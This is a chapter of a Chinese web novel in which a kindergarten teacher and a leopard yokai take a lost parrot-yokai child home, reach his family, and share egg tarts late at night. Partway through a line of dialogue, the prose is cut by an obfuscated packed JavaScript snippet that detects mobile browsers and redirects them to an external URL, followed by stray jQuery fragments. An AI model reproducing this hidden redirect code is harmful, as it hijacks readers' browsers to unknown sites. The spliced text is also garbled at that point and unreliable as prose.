江初月兴致勃勃地带着何年和救来的小鹦鹉逛到动物园关门。
从动物园出来后天色已晚,何年便顺势用不着痕迹的语气道,“反正明天早上起来还要上班,去我家住吧。”
也不是一回两回了,住到何年家里第二天早上既能吃到早饭又能直接蹭车,江初月欣然接受,“好啊。”
她顺便开始点菜,“明天早上我想吃饼,不是普通的那种饼,是中间有一个鸡蛋,然后边上都是土豆丝的那种饼。”
“知道了。”
“土豆丝要糊一点,我想吃糊的。”她想了想又补充。
“我知道。”何年已然十分了解她的饮食偏好,几乎不用她特意叮嘱。
江初月就笑,折腾了一整天,忙完之后她的困意才后知后觉涌现上来,坐到副驾驶上打了个大大的哈欠,“那就辛苦大厨啦。”
离开动物园之后不再需要掩饰,原本被她放进衣服兜里的小鹦鹉爬了出来,扑棱几下翅膀,变成一个有着五颜六色短发的小男孩,此刻就被她搂在怀里。
于是江初月低头问他,“宝宝,你想吃什么?”
“我想吃米饭,想要里面有各种豆子的。”小男孩说。
“好养生啊。”江初月最不爱吃各种豆子,尤其是埋在饭里的,她吃起来就得像扫雷一样东挑西选避开它们,“听着小小年纪就一把年纪了。”
“对了,”江初月揉了揉小孩肉嘟嘟的脸,向何年问道,“你联系他的妈妈爸爸了吗?”
“还没有,等到家之后我去问小姨。”
“那还要等一会儿,我直接问宝宝自己,看他背不背得出来家长的电话吧,估计家里急死了。”江初月说完便低头道,“宝……”
怀里的小妖怪却不知道什么时候已经光速入睡了,一只小手还抓着她的衣袖,眉毛紧紧皱着,睡得不太安稳的样子。
江初月哑然失笑,动作很轻地调整了一下自己的姿势,好让他睡得更加踏实,边轻轻拍着小妖怪的后背边小声道,“那还是等回家再联系吧,估计这孩子这几天都没睡好过。”
下车的时候何年绕到她这边,主动伸手要接过小妖怪,“我来抱吧。”
江初月审时度势,觉得离开座位的支撑自己肯定是坚持不到家了,二话不说就把孩子递给他。
何年把营救回来的小妖怪抱进咪咪常住的那间屋子里,小心地把他放在床上,关了门走出来后便立刻给何灿打电话。
深夜里何灿接电话反倒快,说话的声音听着也活力满满,听到他说找回了走失的那个小妖怪后更是提高了嗓门,硬是把不漏音的手机喊漏音了,连坐在旁边的江初月都能听出她的惊讶。
何灿给了何年小妖怪家长的联系方式,又叮嘱他这几天降温了要多穿衣服,之后匆匆挂掉了电话,重新投入到自己堆积如山的工作中去了。
何年拨通电话,那边立刻接了起来。
这一回江初月再竖起耳朵听却什么都听不清,直到几分钟后何年挂了电话,她才把带滑轮的椅子蹭到他身边,关切地问,“他家里说什么了?”
“他妈妈说明天早上全家一起来幼儿园接他。”何年却没马上放下手机,而是还在那里摆弄着什么,“另外这孩子叫英英。”
“你还干什么呢?”江初月替英英放下心来,转而好奇起他的举动。
“我加了下家长微信。”
“好好好,不愧是我带出来的,留个微信过几天也好让他家长把他送来一起上学。”江初月蔚为欣慰。
何年一言难尽地看了她一眼,“我是想给他家里拍几张照片,好让他家长现在就放心。”
满脑子商业版图和雄心壮志的江初月:“……”
她努力思索了好一会儿,才强词夺理道,“我这是目光长远。十年树木,百年树人,好的教育多重要啊!至少能教会他下次不要离开大人,呃,大妖怪们自己乱跑。这叫永绝后患。”
何年望着她,轻笑起来。
江初月常在网上看到有人夸一个人好看,说她/他看电线杆都深情,往日她对这种说辞一笑而过,今日方觉这种夸赞却是分毫没有夸张。
她莫名脸热,只得转移话题,凶巴巴道,“笑什么!那就赶紧去拍啊,他家里急死了。”
何年从不和她争辩,走过去将英英睡觉的屋子的房门打开一道缝隙,并不打扰他睡眠,只在手机里放大小妖怪沉睡的身影。
英英家里是如何表达感谢的不提,当他终于忙碌完,将今日之事告一段落之后,却发现江初月并没有去自己的固定房间睡觉,而是若有所思地坐在原处。
“你不困了?”何年问她。
“有点过困劲儿了,”江初月摸了摸肚子说,“上饿劲儿了。”
何年毫不意外,问道,“那你想吃什么?我这里还有之前调剩的蛋挞液,吃蛋挞吗?”
“那来点也行。”江初月矜持道。
他便从冰箱里把蛋挞液和蛋挞皮都拿出来,每个壳里都倒上满满的蛋挞液。
烤箱工作的声音在四下无人的夜里响起,何年和江初月在餐桌两边对坐。
闲来无事,江初月便四处打量,然而何年家的陈设她已经再熟悉不过——好像自从上班后,除了在幼儿园留宿之外,她在他家住的次数比在自己家住的都要多很多了。
东西打量完了她便只能打量对面的妖怪,打量久了就不免想起方才在动物园里那深深震撼了她的那一幕。
“反正现在也是闲着,你给我玩儿玩儿呗。”江初月向他伸手。
“什么?”何年有点呆。
“手啊,”江初月理所当然地说,“你都答应我了,不会反悔吧。”
毕竟也高强度工作了一整天,何年此刻的脑子也不太清醒,看着她摊开的白皙手心,鬼使神差地就把自己现在维持着人类形态的手递了上去。
眼见江初月的神情由欣喜逐渐变得迷茫,他猛然惊醒,悬崖勒马,将递过去的手停在她手的上方,重新摆出一副平静的神色,“嗯,在这里变让你看得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194305|163225||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更清楚一点。”
江初月恍然大悟,嘀咕道,“我就说呢。真贴心啊哥。”
于是她又看到了几个小时前的情景重现在自己眼前,这一回没有在动物园时的紧张不安,江初月看得聚精会神。
骨节分明的、明显属于成年男性的手在略显昏暗的灯光下,就这样再次自然而然地变成了一只毛茸茸的豹爪,而绒毛覆盖下的手腕仍保持着人类的形态,这一幕既有几分淡淡的诡异,又有着说不出的绮丽。
“我摸了?”江初月说的是这三个字,却满脸写着“我不客气了”。
“摸吧。”何年咳了一声。
这谁能拒绝呢?这不比猫咖强多了?猫咖里的小猫咪哪有这么大的肉垫?有的小猫咪还坏得很,只冲着零食来,吃完就拔嘴无情,直接甩甩尾巴走掉了。
江初月翻来覆去地摸着他的豹爪,一会儿揉揉绒毛一会儿又按按肉垫,看何年无奈地一次又一次的把指甲弹出来又收回去。
要是他维持人类形态的手,她断然是不敢这么放肆玩弄的,不过此刻面前的既然是这只毛茸茸的爪子那就全然另说了。
江初月摸着摸着就嗨了,一时间忘了对面是自己同一个战壕里的好战友,低头把脸埋进了他爪心,像平时吸猫一样深深吸气,还试图让自己的脸在爪子上来回翻滚。
何年:呆滞.jpg
后知后觉的江初月:僵住.jpg
幸好这时烤箱完工发出的“叮”的一声救人(妖)于水火。
江初月慌慌张张地站起来,一不留神脚还在桌子腿上重重磕了一下,“我去把蛋挞拿出来。”说完疼都顾不上,逃命似的跑到烤箱前面。
何年也很慌张,但碍于被她抢占先机选走了取蛋挞的活,只能拿起桌上的几颗草莓以及一个芒果,“我把它们切了放在蛋挞上。”
不过这次他的水果切得格外不顺手,切了半天他才发现是因为他忘记把爪子变回手了,刚才就保持着猎豹爪子的形态持刀,能切得顺利反倒奇怪了。
这顿夜宵吃到一半,江初月脸上已经徐徐降温,基本上恢复如常了。
不过为了避免尴尬,她还是拽出来了一个新话题,以便完全遮掩过刚才的诡异气氛,“我打算过几天在园里搞个活动。”
“什么活动?”何年积极配合她转移话题的行为。
“我决定叫它勇敢者的一天。”江初月说,“不过好像叫一天一夜更适合一点。”
“怎么说?”
结果江初月开完头之后却卖起了关子,笑眯眯道,“现在还不能说,不然到时候就不神秘了。不过我决定从这个活动开始,我们弄个公众号,既是宣传幼儿园,也能算作我们园政绩的实证。”
“我知道了,到时候我会去拍照的。”何年从善如流。
“上道。”江初月拍了拍他的肩膀,心满意足,“现在困了,我去睡了。”
“晚安。”何年于是说。
“嗯,晚安。”江初月打着哈欠进了屋子。